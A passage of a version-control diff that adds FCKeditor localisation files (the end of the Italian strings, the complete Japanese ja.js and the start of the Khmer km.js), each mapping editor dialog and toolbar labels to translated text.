+DlgAnchorTitle		: "Proprietà ancora",
+DlgAnchorName		: "Nome ancora",
+DlgAnchorErrorName	: "Inserici il nome dell'ancora",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Non nel dizionario",
+DlgSpellChangeTo		: "Cambia in",
+DlgSpellBtnIgnore		: "Ignora",
+DlgSpellBtnIgnoreAll	: "Ignora tutto",
+DlgSpellBtnReplace		: "Cambia",
+DlgSpellBtnReplaceAll	: "Cambia tutto",
+DlgSpellBtnUndo			: "Annulla",
+DlgSpellNoSuggestions	: "- Nessun suggerimento -",
+DlgSpellProgress		: "Controllo ortografico in corso",
+DlgSpellNoMispell		: "Controllo ortografico completato: nessun errore trovato",
+DlgSpellNoChanges		: "Controllo ortografico completato: nessuna parola cambiata",
+DlgSpellOneChange		: "Controllo ortografico completato: 1 parola cambiata",
+DlgSpellManyChanges		: "Controllo ortografico completato: %1 parole cambiate",
+
+IeSpellDownload			: "Contollo ortografico non installato. Lo vuoi scaricare ora?",
+
+// Button Dialog
+DlgButtonText		: "Testo (Value)",
+DlgButtonType		: "Tipo",
+DlgButtonTypeBtn	: "Button",	//MISSING
+DlgButtonTypeSbm	: "Submit",	//MISSING
+DlgButtonTypeRst	: "Reset",	//MISSING
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Nome",
+DlgCheckboxValue	: "Valore",
+DlgCheckboxSelected	: "Selezionato",
+
+// Form Dialog
+DlgFormName		: "Nome",
+DlgFormAction	: "Azione",
+DlgFormMethod	: "Metodo",
+
+// Select Field Dialog
+DlgSelectName		: "Nome",
+DlgSelectValue		: "Valore",
+DlgSelectSize		: "Dimensione",
+DlgSelectLines		: "righe",
+DlgSelectChkMulti	: "Permetti selezione multipla",
+DlgSelectOpAvail	: "Opzioni disponibili",
+DlgSelectOpText		: "Testo",
+DlgSelectOpValue	: "Valore",
+DlgSelectBtnAdd		: "Aggiungi",
+DlgSelectBtnModify	: "Modifica",
+DlgSelectBtnUp		: "Su",
+DlgSelectBtnDown	: "Gi",
+DlgSelectBtnSetValue : "Imposta come predefinito",
+DlgSelectBtnDelete	: "Rimuovi",
+
+// Textarea Dialog
+DlgTextareaName	: "Nome",
+DlgTextareaCols	: "Colonne",
+DlgTextareaRows	: "Righe",
+
+// Text Field Dialog
+DlgTextName			: "Nome",
+DlgTextValue		: "Valore",
+DlgTextCharWidth	: "Larghezza",
+DlgTextMaxChars		: "Numero massimo di caratteri",
+DlgTextType			: "Tipo",
+DlgTextTypeText		: "Testo",
+DlgTextTypePass		: "Password",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Nome",
+DlgHiddenValue	: "Valore",
+
+// Bulleted List Dialog
+BulletedListProp	: "Proprietà lista puntata",
+NumberedListProp	: "Proprietà lista numerata",
+DlgLstStart			: "Start",	//MISSING
+DlgLstType			: "Tipo",
+DlgLstTypeCircle	: "Tondo",
+DlgLstTypeDisc		: "Disco",
+DlgLstTypeSquare	: "Quadrato",
+DlgLstTypeNumbers	: "Numeri (1, 2, 3)",
+DlgLstTypeLCase		: "Caratteri minuscoli (a, b, c)",
+DlgLstTypeUCase		: "Caratteri maiuscoli (A, B, C)",
+DlgLstTypeSRoman	: "Numeri Romani minuscoli (i, ii, iii)",
+DlgLstTypeLRoman	: "Numeri Romani maiuscoli (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "Genarale",
+DlgDocBackTab		: "Sfondo",
+DlgDocColorsTab		: "Colori e margini",
+DlgDocMetaTab		: "Meta Data",
+
+DlgDocPageTitle		: "Titolo pagina",
+DlgDocLangDir		: "Direzione scrittura",
+DlgDocLangDirLTR	: "Da Sinistra a Destra (LTR)",
+DlgDocLangDirRTL	: "Da Destra a Sinistra (RTL)",
+DlgDocLangCode		: "Codice Lingua",
+DlgDocCharSet		: "Set di caretteri",
+DlgDocCharSetCE		: "Central European",	//MISSING
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",	//MISSING
+DlgDocCharSetCR		: "Cyrillic",	//MISSING
+DlgDocCharSetGR		: "Greek",	//MISSING
+DlgDocCharSetJP		: "Japanese",	//MISSING
+DlgDocCharSetKR		: "Korean",	//MISSING
+DlgDocCharSetTR		: "Turkish",	//MISSING
+DlgDocCharSetUN		: "Unicode (UTF-8)",	//MISSING
+DlgDocCharSetWE		: "Western European",	//MISSING
+DlgDocCharSetOther	: "Altro set di caretteri",
+
+DlgDocDocType		: "Intestazione DocType",
+DlgDocDocTypeOther	: "Altra intestazione DocType",
+DlgDocIncXHTML		: "Includi dichiarazione XHTML",
+DlgDocBgColor		: "Colore di sfondo",
+DlgDocBgImage		: "Immagine di sfondo",
+DlgDocBgNoScroll	: "Sfondo fissato",
+DlgDocCText			: "Testo",
+DlgDocCLink			: "Collegamento",
+DlgDocCVisited		: "Collegamento visitato",
+DlgDocCActive		: "Collegamento attivo",
+DlgDocMargins		: "Margini",
+DlgDocMaTop			: "In Alto",
+DlgDocMaLeft		: "A Sinistra",
+DlgDocMaRight		: "A Destra",
+DlgDocMaBottom		: "In Basso",
+DlgDocMeIndex		: "Chiavi di indicizzazione documento (separate da virgola)",
+DlgDocMeDescr		: "Descrizione documento",
+DlgDocMeAuthor		: "Autore",
+DlgDocMeCopy		: "Copyright",
+DlgDocPreview		: "Anteprima",
+
+// Templates Dialog
+Templates			: "Modelli",
+DlgTemplatesTitle	: "Contenuto dei modelli",
+DlgTemplatesSelMsg	: "Seleziona il modello da aprire nell'editor<br />(il contenuto attuale verrà eliminato):",
+DlgTemplatesLoading	: "Caricamento modelli in corso. Attendere prego...",
+DlgTemplatesNoTpl	: "(Nessun modello definito)",
+DlgTemplatesReplace	: "Replace actual contents",	//MISSING
+
+// About Dialog
+DlgAboutAboutTab	: "Informazioni",
+DlgAboutBrowserInfoTab	: "Informazioni Browser",
+DlgAboutLicenseTab	: "Licenza",
+DlgAboutVersion		: "versione",
+DlgAboutLicense		: "Rilasciato sotto la licensa GNU Lesser General Public License",
+DlgAboutInfo		: "Localizzazione in Italiano realizzata da Simone Chiaretta<br /><a target=\"_blank\" href=\"http://www.piyosailing.com/S/\">www.piyosailing.com</a><br /><br />Per maggiori informazioni visitare"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/ja.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/ja.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/ja.js	(revision 44)
@@ -0,0 +1,501 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: ja.js
+ * 	Japanese language file.
+ * 
+ * File Authors:
+ * 		Takashi Yamaguchi (jack@omakase.net)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "ツールバーを隠す",
+ToolbarExpand		: "ツールバーを表示",
+
+// Toolbar Items and Context Menu
+Save				: "保存",
+NewPage				: "新しいページ",
+Preview				: "プレビュー",
+Cut					: "切り取り",
+Copy				: "コピー",
+Paste				: "貼り付け",
+PasteText			: "プレーンテキスト貼り付け",
+PasteWord			: "ワード文章から貼り付け",
+Print				: "印刷",
+SelectAll			: "すべて選択",
+RemoveFormat		: "フォーマット削除",
+InsertLinkLbl		: "リンク",
+InsertLink			: "リンク挿入/編集",
+RemoveLink			: "リンク削除",
+Anchor				: "アンカー挿入/編集",
+InsertImageLbl		: "イメージ",
+InsertImage			: "イメージ挿入/編集",
+InsertFlashLbl		: "Flash",
+InsertFlash			: "Flash挿入/編集",
+InsertTableLbl		: "テーブル",
+InsertTable			: "テーブル挿入/編集",
+InsertLineLbl		: "ライン",
+InsertLine			: "横罫線",
+InsertSpecialCharLbl: "特殊文字",
+InsertSpecialChar	: "特殊文字挿入",
+InsertSmileyLbl		: "絵文字",
+InsertSmiley		: "絵文字挿入",
+About				: "FCKeditorヘルプ",
+Bold				: "太字",
+Italic				: "斜体",
+Underline			: "下線",
+StrikeThrough		: "打ち消し線",
+Subscript			: "添え字",
+Superscript			: "上付き文字",
+LeftJustify			: "左揃え",
+CenterJustify		: "中央揃え",
+RightJustify		: "右揃え",
+BlockJustify		: "両端揃え",
+DecreaseIndent		: "インデント解除",
+IncreaseIndent		: "インデント",
+Undo				: "元に戻す",
+Redo				: "やり直し",
+NumberedListLbl		: "段落番号",
+NumberedList		: "段落番号の追加/削除",
+BulletedListLbl		: "箇条書き",
+BulletedList		: "箇条書きの追加/削除",
+ShowTableBorders	: "テーブルボーダー表示",
+ShowDetails			: "詳細表示",
+Style				: "スタイル",
+FontFormat			: "フォーマット",
+Font				: "フォント",
+FontSize			: "サイズ",
+TextColor			: "テキスト色",
+BGColor				: "背景色",
+Source				: "ソース",
+Find				: "検索",
+Replace				: "置き換え",
+SpellCheck			: "スペルチェック",
+UniversalKeyboard	: "ユニバーサル・キーボード",
+PageBreakLbl		: "改ページ",
+PageBreak			: "改ページ挿入",
+
+Form			: "フォーム",
+Checkbox		: "チェックボックス",
+RadioButton		: "ラジオボタン",
+TextField		: "１行テキスト",
+Textarea		: "テキストエリア",
+HiddenField		: "不可視フィールド",
+Button			: "ボタン",
+SelectionField	: "選択フィールド",
+ImageButton		: "画像ボタン",
+
+FitWindow		: "エディタサイズを最大にします",
+
+// Context Menu
+EditLink			: "リンク編集",
+CellCM				: "セル",
+RowCM				: "行",
+ColumnCM			: "カラム",
+InsertRow			: "行挿入",
+DeleteRows			: "行削除",
+InsertColumn		: "列挿入",
+DeleteColumns		: "列削除",
+InsertCell			: "セル挿入",
+DeleteCells			: "セル削除",
+MergeCells			: "セル結合",
+SplitCell			: "セル分割",
+TableDelete			: "テーブル削除",
+CellProperties		: "セル プロパティ",
+TableProperties		: "テーブル プロパティ",
+ImageProperties		: "イメージ プロパティ",
+FlashProperties		: "Flash プロパティ",
+
+AnchorProp			: "アンカー プロパティ",
+ButtonProp			: "ボタン プロパティ",
+CheckboxProp		: "チェックボックス プロパティ",
+HiddenFieldProp		: "不可視フィールド プロパティ",
+RadioButtonProp		: "ラジオボタン プロパティ",
+ImageButtonProp		: "画像ボタン プロパティ",
+TextFieldProp		: "１行テキスト プロパティ",
+SelectionFieldProp	: "選択フィールド プロパティ",
+TextareaProp		: "テキストエリア プロパティ",
+FormProp			: "フォーム プロパティ",
+
+FontFormats			: "標準;書式付き;アドレス;見出し 1;見出し 2;見出し 3;見出し 4;見出し 5;見出し 6;標準 (DIV)",
+
+// Alerts and Messages
+ProcessingXHTML		: "XHTML処理中. しばらくお待ちください...",
+Done				: "完了",
+PasteWordConfirm	: "貼り付けを行うテキストは、ワード文章からコピーされようとしています。貼り付ける前にクリーニングを行いますか？",
+NotCompatiblePaste	: "このコマンドはインターネット・エクスプローラーバージョン5.5以上で利用可能です。クリーニングしないで貼り付けを行いますか？",
+UnknownToolbarItem	: "未知のツールバー項目 \"%1\"",
+UnknownCommand		: "未知のコマンド名 \"%1\"",
+NotImplemented		: "コマンドはインプリメントされませんでした。",
+UnknownToolbarSet	: "ツールバー設定 \"%1\" 存在しません。",
+NoActiveX			: "エラー、警告メッセージなどが発生した場合、ブラウザーのセキュリティ設定によりエディタのいくつかの機能が制限されている可能性があります。セキュリティ設定のオプションで\"ActiveXコントロールとプラグインの実行\"を有効にするにしてください。",
+BrowseServerBlocked : "サーバーブラウザーを開くことができませんでした。ポップアップ・ブロック機能が無効になっているか確認してください。",
+DialogBlocked		: "ダイアログウィンドウを開くことができませんでした。ポップアップ・ブロック機能が無効になっているか確認してください。",
+
+// Dialogs
+DlgBtnOK			: "OK",
+DlgBtnCancel		: "キャンセル",
+DlgBtnClose			: "閉じる",
+DlgBtnBrowseServer	: "サーバーブラウザー",
+DlgAdvancedTag		: "高度な設定",
+DlgOpOther			: "<その他>",
+DlgInfoTab			: "情報",
+DlgAlertUrl			: "URLを挿入してください",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<なし>",
+DlgGenId			: "Id",
+DlgGenLangDir		: "文字表記の方向",
+DlgGenLangDirLtr	: "左から右 (LTR)",
+DlgGenLangDirRtl	: "右から左 (RTL)",
+DlgGenLangCode		: "言語コード",
+DlgGenAccessKey		: "アクセスキー",
+DlgGenName			: "Name属性",
+DlgGenTabIndex		: "タブインデックス",
+DlgGenLongDescr		: "longdesc属性(長文説明)",
+DlgGenClass			: "スタイルシートクラス",
+DlgGenTitle			: "Title属性",
+DlgGenContType		: "Content Type属性",
+DlgGenLinkCharset	: "リンクcharset属性",
+DlgGenStyle			: "スタイルシート",
+
+// Image Dialog
+DlgImgTitle			: "イメージ プロパティ",
+DlgImgInfoTab		: "イメージ 情報",
+DlgImgBtnUpload		: "サーバーに送信",
+DlgImgURL			: "URL",
+DlgImgUpload		: "アップロード",
+DlgImgAlt			: "代替テキスト",
+DlgImgWidth			: "幅",
+DlgImgHeight		: "高さ",
+DlgImgLockRatio		: "ロック比率",
+DlgBtnResetSize		: "サイズリセット",
+DlgImgBorder		: "ボーダー",
+DlgImgHSpace		: "横間隔",
+DlgImgVSpace		: "縦間隔",
+DlgImgAlign			: "行揃え",
+DlgImgAlignLeft		: "左",
+DlgImgAlignAbsBottom: "下部(絶対的)",
+DlgImgAlignAbsMiddle: "中央(絶対的)",
+DlgImgAlignBaseline	: "ベースライン",
+DlgImgAlignBottom	: "下",
+DlgImgAlignMiddle	: "中央",
+DlgImgAlignRight	: "右",
+DlgImgAlignTextTop	: "テキスト上部",
+DlgImgAlignTop		: "上",
+DlgImgPreview		: "プレビュー",
+DlgImgAlertUrl		: "イメージのURLを入力してください。",
+DlgImgLinkTab		: "リンク",
+
+// Flash Dialog
+DlgFlashTitle		: "Flash プロパティ",
+DlgFlashChkPlay		: "再生",
+DlgFlashChkLoop		: "ループ再生",
+DlgFlashChkMenu		: "Flashメニュー可能",
+DlgFlashScale		: "拡大縮小設定",
+DlgFlashScaleAll	: "すべて表示",
+DlgFlashScaleNoBorder	: "外が見えない様に拡大",
+DlgFlashScaleFit	: "上下左右にフィット",
+
+// Link Dialog
+DlgLnkWindowTitle	: "ハイパーリンク",
+DlgLnkInfoTab		: "ハイパーリンク 情報",
+DlgLnkTargetTab		: "ターゲット",
+
+DlgLnkType			: "リンクタイプ",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "このページのアンカー",
+DlgLnkTypeEMail		: "E-Mail",
+DlgLnkProto			: "プロトコル",
+DlgLnkProtoOther	: "<その他>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "アンカーを選択",
+DlgLnkAnchorByName	: "アンカー名",
+DlgLnkAnchorById	: "エレメントID",
+DlgLnkNoAnchors		: "<ドキュメントにおいて利用可能なアンカーはありません。>",
+DlgLnkEMail			: "E-Mail アドレス",
+DlgLnkEMailSubject	: "件名",
+DlgLnkEMailBody		: "本文",
+DlgLnkUpload		: "アップロード",
+DlgLnkBtnUpload		: "サーバーに送信",
+
+DlgLnkTarget		: "ターゲット",
+DlgLnkTargetFrame	: "<フレーム>",
+DlgLnkTargetPopup	: "<ポップアップウィンドウ>",
+DlgLnkTargetBlank	: "新しいウィンドウ (_blank)",
+DlgLnkTargetParent	: "親ウィンドウ (_parent)",
+DlgLnkTargetSelf	: "同じウィンドウ (_self)",
+DlgLnkTargetTop		: "最上位ウィンドウ (_top)",
+DlgLnkTargetFrameName	: "目的のフレーム名",
+DlgLnkPopWinName	: "ポップアップウィンドウ名",
+DlgLnkPopWinFeat	: "ポップアップウィンドウ特徴",
+DlgLnkPopResize		: "リサイズ可能",
+DlgLnkPopLocation	: "ロケーションバー",
+DlgLnkPopMenu		: "メニューバー",
+DlgLnkPopScroll		: "スクロールバー",
+DlgLnkPopStatus		: "ステータスバー",
+DlgLnkPopToolbar	: "ツールバー",
+DlgLnkPopFullScrn	: "全画面モード(IE)",
+DlgLnkPopDependent	: "開いたウィンドウに連動して閉じる (Netscape)",
+DlgLnkPopWidth		: "幅",
+DlgLnkPopHeight		: "高さ",
+DlgLnkPopLeft		: "左端からの座標で指定",
+DlgLnkPopTop		: "上端からの座標で指定",
+
+DlnLnkMsgNoUrl		: "リンクURLを入力してください。",
+DlnLnkMsgNoEMail	: "メールアドレスを入力してください。",
+DlnLnkMsgNoAnchor	: "アンカーを選択してください。",
+DlnLnkMsgInvPopName	: "ポップ・アップ名は英字で始まる文字で指定してくだい。ポップ・アップ名にスペースは含めません",
+
+// Color Dialog
+DlgColorTitle		: "色選択",
+DlgColorBtnClear	: "クリア",
+DlgColorHighlight	: "ハイライト",
+DlgColorSelected	: "選択色",
+
+// Smiley Dialog
+DlgSmileyTitle		: "顔文字挿入",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "特殊文字選択",
+
+// Table Dialog
+DlgTableTitle		: "テーブル プロパティ",
+DlgTableRows		: "行",
+DlgTableColumns		: "列",
+DlgTableBorder		: "ボーダーサイズ",
+DlgTableAlign		: "キャプションの整列",
+DlgTableAlignNotSet	: "<なし>",
+DlgTableAlignLeft	: "左",
+DlgTableAlignCenter	: "中央",
+DlgTableAlignRight	: "右",
+DlgTableWidth		: "テーブル幅",
+DlgTableWidthPx		: "ピクセル",
+DlgTableWidthPc		: "パーセント",
+DlgTableHeight		: "テーブル高さ",
+DlgTableCellSpace	: "セル内余白",
+DlgTableCellPad		: "セル内間隔",
+DlgTableCaption		: "ｷｬﾌﾟｼｮﾝ",
+DlgTableSummary		: "テーブル目的/構造",
+
+// Table Cell Dialog
+DlgCellTitle		: "セル プロパティ",
+DlgCellWidth		: "幅",
+DlgCellWidthPx		: "ピクセル",
+DlgCellWidthPc		: "パーセント",
+DlgCellHeight		: "高さ",
+DlgCellWordWrap		: "折り返し",
+DlgCellWordWrapNotSet	: "<なし>",
+DlgCellWordWrapYes	: "Yes",
+DlgCellWordWrapNo	: "No",
+DlgCellHorAlign		: "セル横の整列",
+DlgCellHorAlignNotSet	: "<なし>",
+DlgCellHorAlignLeft	: "左",
+DlgCellHorAlignCenter	: "中央",
+DlgCellHorAlignRight: "右",
+DlgCellVerAlign		: "セル縦の整列",
+DlgCellVerAlignNotSet	: "<なし>",
+DlgCellVerAlignTop	: "上",
+DlgCellVerAlignMiddle	: "中央",
+DlgCellVerAlignBottom	: "下",
+DlgCellVerAlignBaseline	: "ベースライン",
+DlgCellRowSpan		: "縦幅(行数)",
+DlgCellCollSpan		: "横幅(列数)",
+DlgCellBackColor	: "背景色",
+DlgCellBorderColor	: "ボーダーカラー",
+DlgCellBtnSelect	: "選択...",
+
+// Find Dialog
+DlgFindTitle		: "検索",
+DlgFindFindBtn		: "検索",
+DlgFindNotFoundMsg	: "指定された文字列は見つかりませんでした。",
+
+// Replace Dialog
+DlgReplaceTitle			: "置き換え",
+DlgReplaceFindLbl		: "検索する文字列:",
+DlgReplaceReplaceLbl	: "置換えする文字列:",
+DlgReplaceCaseChk		: "部分一致",
+DlgReplaceReplaceBtn	: "置換え",
+DlgReplaceReplAllBtn	: "すべて置換え",
+DlgReplaceWordChk		: "単語単位で一致",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "ブラウザーのセキュリティ設定によりエディタの貼り付け操作が自動で実行することができません。実行するには手動でキーボードの(Ctrl+V)を使用してください。",
+PasteErrorCut	: "ブラウザーのセキュリティ設定によりエディタの切り取り操作が自動で実行することができません。実行するには手動でキーボードの(Ctrl+X)を使用してください。",
+PasteErrorCopy	: "ブラウザーのセキュリティ設定によりエディタのコピー操作が自動で実行することができません。実行するには手動でキーボードの(Ctrl+C)を使用してください。",
+
+PasteAsText		: "プレーンテキスト貼り付け",
+PasteFromWord	: "ワード文章から貼り付け",
+
+DlgPasteMsg2	: "キーボード(<STRONG>Ctrl+V</STRONG>)を使用して、次の入力エリア内で貼って、<STRONG>OK</STRONG>を押してください。",
+DlgPasteIgnoreFont		: "FontタグのFace属性を無視します。",
+DlgPasteRemoveStyles	: "スタイル定義を削除します。",
+DlgPasteCleanBox		: "入力エリアクリア",
+
+// Color Picker
+ColorAutomatic	: "自動",
+ColorMoreColors	: "その他の色...",
+
+// Document Properties
+DocProps		: "文書 プロパティ",
+
+// Anchor Dialog
+DlgAnchorTitle		: "アンカー プロパティ",
+DlgAnchorName		: "アンカー名",
+DlgAnchorErrorName	: "アンカー名を必ず入力してください。",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "辞書にありません",
+DlgSpellChangeTo		: "変更",
+DlgSpellBtnIgnore		: "無視",
+DlgSpellBtnIgnoreAll	: "すべて無視",
+DlgSpellBtnReplace		: "置換",
+DlgSpellBtnReplaceAll	: "すべて置換",
+DlgSpellBtnUndo			: "やり直し",
+DlgSpellNoSuggestions	: "- 該当なし -",
+DlgSpellProgress		: "スペルチェック処理中...",
+DlgSpellNoMispell		: "スペルチェック完了: スペルの誤りはありませんでした",
+DlgSpellNoChanges		: "スペルチェック完了: 語句は変更されませんでした",
+DlgSpellOneChange		: "スペルチェック完了: １語句変更されました",
+DlgSpellManyChanges		: "スペルチェック完了: %1 語句変更されました",
+
+IeSpellDownload			: "スペルチェッカーがインストールされていません。今すぐダウンロードしますか?",
+
+// Button Dialog
+DlgButtonText		: "テキスト (値)",
+DlgButtonType		: "タイプ",
+DlgButtonTypeBtn	: "ボタン",
+DlgButtonTypeSbm	: "送信",
+DlgButtonTypeRst	: "リセット",
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "名前",
+DlgCheckboxValue	: "値",
+DlgCheckboxSelected	: "選択済み",
+
+// Form Dialog
+DlgFormName		: "フォーム名",
+DlgFormAction	: "アクション",
+DlgFormMethod	: "メソッド",
+
+// Select Field Dialog
+DlgSelectName		: "名前",
+DlgSelectValue		: "値",
+DlgSelectSize		: "サイズ",
+DlgSelectLines		: "行",
+DlgSelectChkMulti	: "複数項目選択を許可",
+DlgSelectOpAvail	: "利用可能なオプション",
+DlgSelectOpText		: "選択項目名",
+DlgSelectOpValue	: "選択項目値",
+DlgSelectBtnAdd		: "追加",
+DlgSelectBtnModify	: "編集",
+DlgSelectBtnUp		: "上へ",
+DlgSelectBtnDown	: "下へ",
+DlgSelectBtnSetValue : "選択した値を設定",
+DlgSelectBtnDelete	: "削除",
+
+// Textarea Dialog
+DlgTextareaName	: "名前",
+DlgTextareaCols	: "列",
+DlgTextareaRows	: "行",
+
+// Text Field Dialog
+DlgTextName			: "名前",
+DlgTextValue		: "値",
+DlgTextCharWidth	: "サイズ",
+DlgTextMaxChars		: "最大長",
+DlgTextType			: "タイプ",
+DlgTextTypeText		: "テキスト",
+DlgTextTypePass		: "パスワード入力",
+
+// Hidden Field Dialog
+DlgHiddenName	: "名前",
+DlgHiddenValue	: "値",
+
+// Bulleted List Dialog
+BulletedListProp	: "箇条書き プロパティ",
+NumberedListProp	: "段落番号 プロパティ",
+DlgLstStart			: "開始文字",
+DlgLstType			: "タイプ",
+DlgLstTypeCircle	: "白丸",
+DlgLstTypeDisc		: "黒丸",
+DlgLstTypeSquare	: "四角",
+DlgLstTypeNumbers	: "アラビア数字 (1, 2, 3)",
+DlgLstTypeLCase		: "英字小文字 (a, b, c)",
+DlgLstTypeUCase		: "英字大文字 (A, B, C)",
+DlgLstTypeSRoman	: "ローマ数字小文字 (i, ii, iii)",
+DlgLstTypeLRoman	: "ローマ数字大文字 (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "全般",
+DlgDocBackTab		: "背景",
+DlgDocColorsTab		: "色とマージン",
+DlgDocMetaTab		: "メタデータ",
+
+DlgDocPageTitle		: "ページタイトル",
+DlgDocLangDir		: "言語文字表記の方向",
+DlgDocLangDirLTR	: "左から右に表記(LTR)",
+DlgDocLangDirRTL	: "右から左に表記(RTL)",
+DlgDocLangCode		: "言語コード",
+DlgDocCharSet		: "文字セット符号化",
+DlgDocCharSetCE		: "Central European",
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",
+DlgDocCharSetCR		: "Cyrillic",
+DlgDocCharSetGR		: "Greek",
+DlgDocCharSetJP		: "Japanese",
+DlgDocCharSetKR		: "Korean",
+DlgDocCharSetTR		: "Turkish",
+DlgDocCharSetUN		: "Unicode (UTF-8)",
+DlgDocCharSetWE		: "Western European",
+DlgDocCharSetOther	: "他の文字セット符号化",
+
+DlgDocDocType		: "文書タイプヘッダー",
+DlgDocDocTypeOther	: "その他文書タイプヘッダー",
+DlgDocIncXHTML		: "XHTML宣言をインクルード",
+DlgDocBgColor		: "背景色",
+DlgDocBgImage		: "背景画像 URL",
+DlgDocBgNoScroll	: "スクロールしない背景",
+DlgDocCText			: "テキスト",
+DlgDocCLink			: "リンク",
+DlgDocCVisited		: "アクセス済みリンク",
+DlgDocCActive		: "アクセス中リンク",
+DlgDocMargins		: "ページ・マージン",
+DlgDocMaTop			: "上部",
+DlgDocMaLeft		: "左",
+DlgDocMaRight		: "右",
+DlgDocMaBottom		: "下部",
+DlgDocMeIndex		: "文書のキーワード(カンマ区切り)",
+DlgDocMeDescr		: "文書の概要",
+DlgDocMeAuthor		: "文書の作者",
+DlgDocMeCopy		: "文書の著作権",
+DlgDocPreview		: "プレビュー",
+
+// Templates Dialog
+Templates			: "テンプレート(雛形)",
+DlgTemplatesTitle	: "テンプレート内容",
+DlgTemplatesSelMsg	: "エディターで使用するテンプレートを選択してください。<br>(現在のエディタの内容は失われます):",
+DlgTemplatesLoading	: "テンプレート一覧読み込み中. しばらくお待ちください...",
+DlgTemplatesNoTpl	: "(テンプレートが定義されていません)",
+DlgTemplatesReplace	: "現在のエディタの内容と置換えをします",
+
+// About Dialog
+DlgAboutAboutTab	: "バージョン情報",
+DlgAboutBrowserInfoTab	: "ブラウザ情報",
+DlgAboutLicenseTab	: "ライセンス",
+DlgAboutVersion		: "バージョン",
+DlgAboutLicense		: "Licensed under the terms of the GNU Lesser General Public License",
+DlgAboutInfo		: "より詳しい情報はこちらで"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/km.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/km.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/km.js	(revision 44)
@@ -0,0 +1,501 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: km.js
+ * 	Khmer language file.
+ * 
+ * File Authors:
+ * 		Chay Sengtha (sengtha@e-khmer.com - http://translate.e-khmer.net)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "បង្រួមរបាឧបរកណ៍",
+ToolbarExpand		: "ពង្រីករបាឧបរណ៍",
+
+// Toolbar Items and Context Menu
+Save				: "រក្សាទុក",
+NewPage				: "ទំព័រថ្មី",
+Preview				: "មើលសាកល្បង",
+Cut					: "កាត់យក",
+Copy				: "ចំលងយក",
+Paste				: "ចំលងដាក់",
+PasteText			: "ចំលងដាក់ជាអត្ថបទធម្មតា",
+PasteWord			: "ចំលងដាក់ពី Word",
+Print				: "បោះពុម្ភ",
+SelectAll			: "ជ្រើសរើសទាំងអស់",
+RemoveFormat		: "លប់ចោល ការរចនា",
+InsertLinkLbl		: "ឈ្នាប់",
+InsertLink			: "បន្ថែម/កែប្រែ ឈ្នាប់",
+RemoveLink			: "លប់ឈ្នាប់",
+Anchor				: "បន្ថែម/កែប្រែ យុថ្កា",
+InsertImageLbl		: "រូបភាព",
+InsertImage			: "បន្ថែម/កែប្រែ រូបភាព",
+InsertFlashLbl		: "Flash",
+InsertFlash			: "បន្ថែម/កែប្រែ Flash",
+InsertTableLbl		: "តារាង",
+InsertTable			: "បន្ថែម/កែប្រែ តារាង",
+InsertLineLbl		: "បន្ទាត់",
+InsertLine			: "បន្ថែមបន្ទាត់ផ្តេក",
+InsertSpecialCharLbl: "អក្សរពិសេស",
+InsertSpecialChar	: "បន្ថែមអក្សរពិសេស",
+InsertSmileyLbl		: "រូបភាព",
+InsertSmiley		: "បន្ថែម រូបភាព",
+About				: "អំពី FCKeditor",
+Bold				: "អក្សរដិតធំ",
+Italic				: "អក្សរផ្តេក",
+Underline			: "ដិតបន្ទាត់ពីក្រោមអក្សរ",
+StrikeThrough		: "ដិតបន្ទាត់ពាក់កណ្តាលអក្សរ",
+Subscript			: "អក្សរតូចក្រោម",
+Superscript			: "អក្សរតូចលើ",
+LeftJustify			: "តំរឹមឆ្វេង",
+CenterJustify		: "តំរឹមកណ្តាល",
+RightJustify		: "តំរឹមស្តាំ",
+BlockJustify		: "តំរឹមសងខាង",
+DecreaseIndent		: "បន្ថយការចូលបន្ទាត់",
+IncreaseIndent		: "បន្ថែមការចូលបន្ទាត់",
+Undo				: "សារឡើងវិញ",
+Redo				: "ធ្វើឡើងវិញ",
+NumberedListLbl		: "បញ្ជីជាអក្សរ",
+NumberedList		: "បន្ថែម/លប់ បញ្ជីជាអក្សរ",
+BulletedListLbl		: "បញ្ជីជារង្វង់មូល",
+BulletedList		: "បន្ថែម/លប់ បញ្ជីជារង្វង់មូល",
+ShowTableBorders	: "បង្ហាញស៊ុមតារាង",
+ShowDetails			: "បង្ហាញពិស្តារ",
+Style				: "ម៉ូត",
+FontFormat			: "រចនា",
